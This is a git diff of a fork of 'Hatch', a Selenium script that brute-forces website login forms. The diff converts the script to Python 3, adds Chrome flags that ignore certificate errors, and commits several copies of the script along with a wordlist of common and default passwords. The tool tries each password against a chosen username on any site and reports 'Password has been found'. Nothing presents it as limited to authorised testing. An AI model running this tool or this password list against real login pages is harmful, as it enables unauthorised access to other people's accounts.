diff --git a/README.md b/README.md index b8569cb..d54b014 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,23 @@ # Hatch Hatch is a brute force tool that is used to brute force most websites +# Update! Aug. 26, 2021 + - converted from Python2 to Python3 using 2to3. https://docs.python.org/3/library/2to3.html +``` +2to3 -w main.py +``` + - added: + ``` + options.add_argument('--ignore-ssl-errors=yes') + options.add_argument('--ignore-certificate-errors') + options.add_argument('--allow-running-insecure-content') + ``` + - changed Chromedriver location for Linux Machine. +## NOTE: I had to install chrome from google not chromium from apt for it to work on Linux. + # Update! v.1.3.1 added arg support **yay** -
+
-h, --help show this help message and exit
-u USERNAME, --username=USERNAME Choose the username
--usernamesel=USERNAMESEL Choose the username selector
@@ -15,21 +29,23 @@ dont worry if you load up the tool without any args youll go to the default wiza Also i removed the apt xvfb and pip2 pyvirtualdisplay ## Installation Instructions ``` -git clone https://github.com/MetaChar/Hatch -python2 main.py +git clone https://github.com/ciwen3/Hatch.git +edit driver location in main.py +python3 main.py ``` ## Requirements + - pip modules ``` -pip2 install selenium -pip2 install requests +pip3 install selenium +pip3 install requests ``` -Chrome and chromedriver are required + - Chrome and chromedriver are required You can download chromedriver here: http://chromedriver.chromium.org/downloads -for this fork, create a folder in your C drive called 'webdrivers' and place the executable file inside. If you want to use a different directory, simply change the CHROME_DVR_DIR variable inside the python file. -
+for this fork, simply change the CHROME_DVR_DIR variable inside the python file to where you stored it. + ## How to use (text) 1). Find a website with a login page
2). Inspect element to find the Selector of the username form
@@ -37,7 +53,3 @@ for this fork, create a folder in your C drive called 'webdrivers' and place the 4). The the login form
5). When Asked put in the username to brute force
6). Watch it go! - -## How to use (Video) -[![IMAGE ALT TEXT](https://i.ytimg.com/vi/Hd_kQVnajxk/1.jpg)](https://youtu.be/Hd_kQVnajxk "Video Title") - diff --git a/chromedriver b/chromedriver new file mode 100644 index 0000000..3999d77 Binary files /dev/null and b/chromedriver differ diff --git a/main.py b/main.py index 8274be3..7fcd0d9 100644 --- a/main.py +++ b/main.py @@ -1,5 +1,18 @@ # Coded by METACHAR # Looking to work with other hit me up on my email @metachar1@gmail.com <-- +# +# Forked from: https://github.com/nsgodshall/Hatch +# Edited by Strat0m Aug. 26, 2021 +# Converted to Python3 using 2to3 +# https://docs.python.org/3/library/2to3.html +# +# added: +# options.add_argument('--ignore-ssl-errors=yes') +# options.add_argument('--ignore-certificate-errors') +# http://blogs.stevelongchen.com/2020/05/14/selenium-how-to-disable-or-bypass-connection-is-not-private-for-chrome-and-firefox/ + + + import sys import datetime import selenium @@ -42,36 +55,38 @@ class color: (options, args) = parser.parse_args() -CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe' +# CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe' +CHROME_DVR_DIR = '/opt/Hatch/chromedriver' + def wizard(): print (banner) - website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ') + website = input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ') sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '), sys.stdout.flush() t.sleep(1) try: request = requests.get(website) if request.status_code == 200: - print (color.GREEN + '[OK]'+color.CWHITE) + print((color.GREEN + '[OK]'+color.CWHITE)) sys.stdout.flush() except selenium.common.exceptions.NoSuchElementException: pass except KeyboardInterrupt: - print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit') + print((color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')) exit() except: t.sleep(1) - print (color.RED + '[X]'+color.CWHITE) + print((color.RED + '[X]'+color.CWHITE)) t.sleep(1) - print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https') + print((color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')) exit() - username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ') - password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ') - login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ') - username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ') - pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ') + username_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ') + password_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ') + login_btn_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ') + username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ') + pass_list = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ') brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website): @@ -80,6 +95,9 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas optionss = webdriver.ChromeOptions() optionss.add_argument("--disable-popup-blocking") optionss.add_argument("--disable-extensions") + options.add_argument('--ignore-ssl-errors=yes') + options.add_argument('--ignore-certificate-errors') + options.add_argument('--allow-running-insecure-content') count = 1 #count browser = webdriver.Chrome(CHROME_DVR_DIR) while True: @@ -95,17 +113,17 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas Sel_user.send_keys(username) Sel_pas.send_keys(line) t.sleep(5) - print '------------------------' - print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username) - print '------------------------' + print('------------------------') + print((color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)) + print('------------------------') temp = line except KeyboardInterrupt: #returns to main menu if ctrl C is used exit() except selenium.common.exceptions.NoSuchElementException: - print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ' - print 'LAST PASS ATTEMPT BELLOW' - print color.GREEN + 'Password has been found: {0}'.format(temp) - print color.YELLOW + 'Have fun :)' + print('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ') + print('LAST PASS ATTEMPT BELLOW') + print(color.GREEN + 'Password has been found: {0}'.format(temp)) + print(color.YELLOW + 'Have fun :)') exit() @@ -142,5 +160,5 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas login_btn_selector = options.loginsel website = options.website pass_list = options.passlist -print banner +print(banner) brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) diff --git a/old/main-python2.py b/old/main-python2.py new file mode 100644 index 0000000..8274be3 --- /dev/null +++ b/old/main-python2.py @@ -0,0 +1,146 @@ +# Coded by METACHAR +# Looking to work with other hit me up on my email @metachar1@gmail.com <-- +import sys +import datetime +import selenium +import requests +import time as t +from sys import stdout +from selenium import webdriver +from optparse import OptionParser +from selenium.webdriver.common.keys import Keys +from selenium.common.exceptions import NoSuchElementException + + +#Graphics +class color: + PURPLE = '\033[95m' + CYAN = '\033[96m' + DARKCYAN = '\033[36m' + BLUE = '\033[94m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + RED = '\033[91m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + END = '\033[0m' + CWHITE = '\33[37m' + + +#Config# +parser = OptionParser() +now = datetime.datetime.now() + + +#Args +parser.add_option("-u", "--username", dest="username",help="Choose the username") +parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector") +parser.add_option("--passsel", dest="passsel",help="Choose the password selector") +parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector") +parser.add_option("--passlist", dest="passlist",help="Enter the password list directory") +parser.add_option("--website", dest="website",help="choose a website") +(options, args) = parser.parse_args() + + +CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe' + +def wizard(): + print (banner) + website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ') + sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '), + sys.stdout.flush() + t.sleep(1) + try: + request = requests.get(website) + if request.status_code == 200: + print (color.GREEN + '[OK]'+color.CWHITE) + sys.stdout.flush() + except selenium.common.exceptions.NoSuchElementException: + pass + except KeyboardInterrupt: + print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit') + exit() + except: + t.sleep(1) + print (color.RED + '[X]'+color.CWHITE) + t.sleep(1) + print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https') + exit() + + username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ') + password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ') + login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ') + username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ') + pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ') + brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) + +def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website): + f = open(pass_list, 'r') + driver = webdriver.Chrome(CHROME_DVR_DIR) + optionss = webdriver.ChromeOptions() + optionss.add_argument("--disable-popup-blocking") + optionss.add_argument("--disable-extensions") + count = 1 #count + browser = webdriver.Chrome(CHROME_DVR_DIR) + while True: + try: + for line in f: + browser.get(website) + t.sleep(2) + Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector + Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector + enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector + # browser.find_element_by_css_selector(password_selector).clear() + # browser.find_element_by_css_selector(username_selector).clear() + Sel_user.send_keys(username) + Sel_pas.send_keys(line) + t.sleep(5) + print '------------------------' + print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username) + print '------------------------' + temp = line + except KeyboardInterrupt: #returns to main menu if ctrl C is used + exit() + except selenium.common.exceptions.NoSuchElementException: + print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ' + print 'LAST PASS ATTEMPT BELLOW' + print color.GREEN + 'Password has been found: {0}'.format(temp) + print color.YELLOW + 'Have fun :)' + exit() + + + +banner = color.BOLD + color.RED +''' + _ _ _ _ + | | | | | | | | + | |__| | __ _| |_ ___| |__ + | __ |/ _` | __/ __| '_ \\ + | | | | (_| | || (__| | | | + |_| |_|\__,_|\__\___|_| |_| + {0}[{1}-{2}]--> {3}V.1.0 + {4}[{5}-{6}]--> {7}coded by Metachar + {8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN) + +driver = webdriver.Chrome(CHROME_DVR_DIR) +optionss = webdriver.ChromeOptions() +optionss.add_argument("--disable-popup-blocking") +optionss.add_argument("--disable-extensions") +count = 1 #count + +if options.username == None: + if options.usernamesel == None: + if options.passsel == None: + if options.loginsel == None: + if options.passlist == None: + if options.website == None: + wizard() + + +username = options.username +username_selector = options.usernamesel +password_selector = options.passsel +login_btn_selector = options.loginsel +website = options.website +pass_list = options.passlist +print banner +brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) diff --git a/old/main.py.bak b/old/main.py.bak new file mode 100644 index 0000000..db42a8d --- /dev/null +++ b/old/main.py.bak @@ -0,0 +1,147 @@ +# Coded by METACHAR +# Looking to work with other hit me up on my email @metachar1@gmail.com <-- +import sys +import datetime +import selenium +import requests +import time as t +from sys import stdout +from selenium import webdriver +from optparse import OptionParser +from selenium.webdriver.common.keys import Keys +from selenium.common.exceptions import NoSuchElementException + + +#Graphics +class color: + PURPLE = '\033[95m' + CYAN = '\033[96m' + DARKCYAN = '\033[36m' + BLUE = '\033[94m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + RED = '\033[91m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + END = '\033[0m' + CWHITE = '\33[37m' + + +#Config# +parser = OptionParser() +now = datetime.datetime.now() + + +#Args +parser.add_option("-u", "--username", dest="username",help="Choose the username") +parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector") +parser.add_option("--passsel", dest="passsel",help="Choose the password selector") +parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector") +parser.add_option("--passlist", dest="passlist",help="Enter the password list directory") +parser.add_option("--website", dest="website",help="choose a website") +(options, args) = parser.parse_args() + + +CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe' + +def wizard(): + print (banner) + website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ') + sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '), + sys.stdout.flush() + t.sleep(1) + try: + request = requests.get(website) + if request.status_code == 200: + print (color.GREEN + '[OK]'+color.CWHITE) + sys.stdout.flush() + except selenium.common.exceptions.NoSuchElementException: + pass + except KeyboardInterrupt: + print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit') + exit() + except: + t.sleep(1) + print (color.RED + '[X]'+color.CWHITE) + t.sleep(1) + print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https') + exit() + + username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ') + password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ') + login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ') + username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ') + pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ') + brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) + +def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website): + f = open(pass_list, 'r') + driver = webdriver.Chrome(CHROME_DVR_DIR) + optionss = webdriver.ChromeOptions() + optionss.add_argument("--disable-popup-blocking") + optionss.add_argument("--disable-extensions") + options.add_argument('ignore-certificate-errors') + count = 1 #count + browser = webdriver.Chrome(CHROME_DVR_DIR) + while True: + try: + for line in f: + browser.get(website) + t.sleep(2) + Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector + Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector + enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector + # browser.find_element_by_css_selector(password_selector).clear() + # browser.find_element_by_css_selector(username_selector).clear() + Sel_user.send_keys(username) + Sel_pas.send_keys(line) + t.sleep(5) + print '------------------------' + print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username) + print '------------------------' + temp = line + except KeyboardInterrupt: #returns to main menu if ctrl C is used + exit() + except selenium.common.exceptions.NoSuchElementException: + print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ' + print 'LAST PASS ATTEMPT BELLOW' + print color.GREEN + 'Password has been found: {0}'.format(temp) + print color.YELLOW + 'Have fun :)' + exit() + + + +banner = color.BOLD + color.RED +''' + _ _ _ _ + | | | | | | | | + | |__| | __ _| |_ ___| |__ + | __ |/ _` | __/ __| '_ \\ + | | | | (_| | || (__| | | | + |_| |_|\__,_|\__\___|_| |_| + {0}[{1}-{2}]--> {3}V.1.0 + {4}[{5}-{6}]--> {7}coded by Metachar + {8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN) + +driver = webdriver.Chrome(CHROME_DVR_DIR) +optionss = webdriver.ChromeOptions() +optionss.add_argument("--disable-popup-blocking") +optionss.add_argument("--disable-extensions") +count = 1 #count + +if options.username == None: + if options.usernamesel == None: + if options.passsel == None: + if options.loginsel == None: + if options.passlist == None: + if options.website == None: + wizard() + + +username = options.username +username_selector = options.usernamesel +password_selector = options.passsel +login_btn_selector = options.loginsel +website = options.website +pass_list = options.passlist +print banner +brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) diff --git a/old/main.py.old b/old/main.py.old new file mode 100644 index 0000000..786c330 --- /dev/null +++ b/old/main.py.old @@ -0,0 +1,158 @@ +# Coded by METACHAR +# Looking to work with other hit me up on my email @metachar1@gmail.com <-- +# +# Forked from: https://github.com/nsgodshall/Hatch +# Edited by Strat0m Aug. 26, 2021 +# Converted to Python3 using 2to3 +# https://docs.python.org/3/library/2to3.html +# +# added: options.add_argument('ignore-certificate-errors') +# https://stackoverflow.com/questions/24507078/how-to-deal-with-certificates-using-selenium + +import sys +import datetime +import selenium +import requests +import time as t +from sys import stdout +from selenium import webdriver +from optparse import OptionParser +from selenium.webdriver.common.keys import Keys +from selenium.common.exceptions import NoSuchElementException + + +#Graphics +class color: + PURPLE = '\033[95m' + CYAN = '\033[96m' + DARKCYAN = '\033[36m' + BLUE = '\033[94m' + GREEN = '\033[92m' + YELLOW = '\033[93m' + RED = '\033[91m' + BOLD = '\033[1m' + UNDERLINE = '\033[4m' + END = '\033[0m' + CWHITE = '\33[37m' + + +#Config# +parser = OptionParser() +now = datetime.datetime.now() + + +#Args +parser.add_option("-u", "--username", dest="username",help="Choose the username") +parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector") +parser.add_option("--passsel", dest="passsel",help="Choose the password selector") +parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector") +parser.add_option("--passlist", dest="passlist",help="Enter the password list directory") +parser.add_option("--website", dest="website",help="choose a website") +(options, args) = parser.parse_args() + + +# CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe' +CHROME_DVR_DIR = '/home/strat0m/Hatch/chromedriver' + + +def wizard(): + print (banner) + website = input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ') + sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '), + sys.stdout.flush() + t.sleep(1) + try: + request = requests.get(website) + if request.status_code == 200: + print((color.GREEN + '[OK]'+color.CWHITE)) + sys.stdout.flush() + except selenium.common.exceptions.NoSuchElementException: + pass + except KeyboardInterrupt: + print((color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')) + exit() + except: + t.sleep(1) + print((color.RED + '[X]'+color.CWHITE)) + t.sleep(1) + print((color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')) + exit() + + username_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ') + password_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ') + login_btn_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ') + username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ') + pass_list = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ') + brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) + +def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website): + f = open(pass_list, 'r') + driver = webdriver.Chrome(CHROME_DVR_DIR) + optionss = webdriver.ChromeOptions() + optionss.add_argument("--disable-popup-blocking") + optionss.add_argument("--disable-extensions") + options.add_argument('ignore-certificate-errors') + count = 1 #count + browser = webdriver.Chrome(CHROME_DVR_DIR) + while True: + try: + for line in f: + browser.get(website) + t.sleep(2) + Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector + Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector + enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector + # browser.find_element_by_css_selector(password_selector).clear() + # browser.find_element_by_css_selector(username_selector).clear() + Sel_user.send_keys(username) + Sel_pas.send_keys(line) + t.sleep(5) + print('------------------------') + print((color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)) + print('------------------------') + temp = line + except KeyboardInterrupt: #returns to main menu if ctrl C is used + exit() + except selenium.common.exceptions.NoSuchElementException: + print('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ') + print('LAST PASS ATTEMPT BELLOW') + print(color.GREEN + 'Password has been found: {0}'.format(temp)) + print(color.YELLOW + 'Have fun :)') + exit() + + + +banner = color.BOLD + color.RED +''' + _ _ _ _ + | | | | | | | | + | |__| | __ _| |_ ___| |__ + | __ |/ _` | __/ __| '_ \\ + | | | | (_| | || (__| | | | + |_| |_|\__,_|\__\___|_| |_| + {0}[{1}-{2}]--> {3}V.1.0 + {4}[{5}-{6}]--> {7}coded by Metachar + {8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN) + +driver = webdriver.Chrome(CHROME_DVR_DIR) +optionss = webdriver.ChromeOptions() +optionss.add_argument("--disable-popup-blocking") +optionss.add_argument("--disable-extensions") +count = 1 #count + +if options.username == None: + if options.usernamesel == None: + if options.passsel == None: + if options.loginsel == None: + if options.passlist == None: + if options.website == None: + wizard() + + +username = options.username +username_selector = options.usernamesel +password_selector = options.passsel +login_btn_selector = options.loginsel +website = options.website +pass_list = options.passlist +print(banner) +brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website) diff --git a/wordlist.txt b/wordlist.txt new file mode 100644 index 0000000..36489e3 --- /dev/null +++ b/wordlist.txt @@ -0,0 +1,262 @@ +Spring2017 +Spring2021 +spring2021 +Summer2021 +summer2021 +Autumn2021 +autumn2021 +Fall2021 +fall2021 +Winter2021 +winter2021 +Spring2020 +spring2020 +Summer2020 +summer2020 +Autumn2020 +autumn2020 +Fall2020 +fall2020 +Winter2020 +winter2020 +Spring2019 +spring2019 +Summer2019 +summer2019 +Autumn2019 +autumn2019 +Fall2019 +fall2019 +Winter2019 +winter2019 +Spring2018 +spring2018 +Summer2018 +summer2018 +Autumn2018 +autumn2018 +Fall2018 +fall2018 +Winter2018 +winter2018 +Spring2016 +Spring2015 +Spring2014 +Spring2013 +spring2017 +spring2016 +spring2015 +spring2014 +spring2013 +Summer2017 +Summer2016 +Summer2015 +Summer2014 +Summer2013 +summer2017 +summer2016 +summer2015 +summer2014 +summer2013 +Autumn2017 +Autumn2016 +Autumn2015 +Autumn2014 +Autumn2013 +autumn2017 +autumn2016 +autumn2015 +autumn2014 +autumn2013 +Winter2017 +Winter2016 +Winter2015 +Winter2014 +Winter2013 +winter2017 +winter2016 +winter2015 +winter2014 +winter2013 +P@55w0rd +P@ssw0rd! +P@55w0rd! +sqlsqlsqlsql +SQLSQLSQLSQL +Welcome123 +Welcome1234 +Welcome1212 +PassSql12 +network +networking +networks +test +testtest +testing +testing123 +testsql +test-sql3 +sqlsqlsqlsqlsql +bankbank +default +test +testing +password2 + +password +Password1 +Password1! +P@ssw0rd +password12 +Password12 +security +security1 +security3 +secuirty3 +complex1 +complex2 +complex3 +sqlserver +sql +sqlsql +password1 +password123 +complexpassword +database +server +changeme +change +sqlserver2000 +sqlserver2005 +Sqlserver +SqlServer +Password1 +Password2 +P@ssw0rd +P@ssw0rd! +P@55w0rd! +P@ssword! +Password! +password! +sqlsvr +sqlaccount +account +sasa +sa +administator +pass +sql +microsoft +sqlserver +sa +hugs +sasa +welcome +welcome1 +welcome2 +march2011 +sqlpass +sqlpassword +guessme +bird +P@55w0rd! +test +dev +devdev +devdevdev +qa +god +admin +adminadmin +admins +goat +sysadmin +water +dirt +air +earth +company +company1 +company123 +company1! +company! +secret +secret! +secret123 +secret1212 +secret12 +secret1! +sqlpass123 +Summer2013 +Summer2012 +Summer2011 +Summer2010 +Summer2009 +Summer2008 +Winter2013 +Winter2012 +Winter2011 +Winter2010 +Winter2009 +Winter2008 +summer2013 +summer2012 +summer2011 +summer2010 +summer2009 +summer2008 +winter2013 +winter2012 +winter2011 +winter2010 +winter2009 +winter2008 +123456 +abcd123 +abc +burp +private +unknown +wicked +alpine +trust +microsoft +sql2000 +sql2003 +sql2005 +sql2008 +vista +xp +nt +98 +95 +2003 +2008 +someday +sql2010 +sql2011 +sql2009 +complex +goat +changelater +rain +fire +snow +unchanged +qwerty +12345678 +football +baseball +basketball +abc123 +111111 +1qaz2wsx +dragon +master +monkey +letmein +login +princess +solo +qwertyuiop +starwars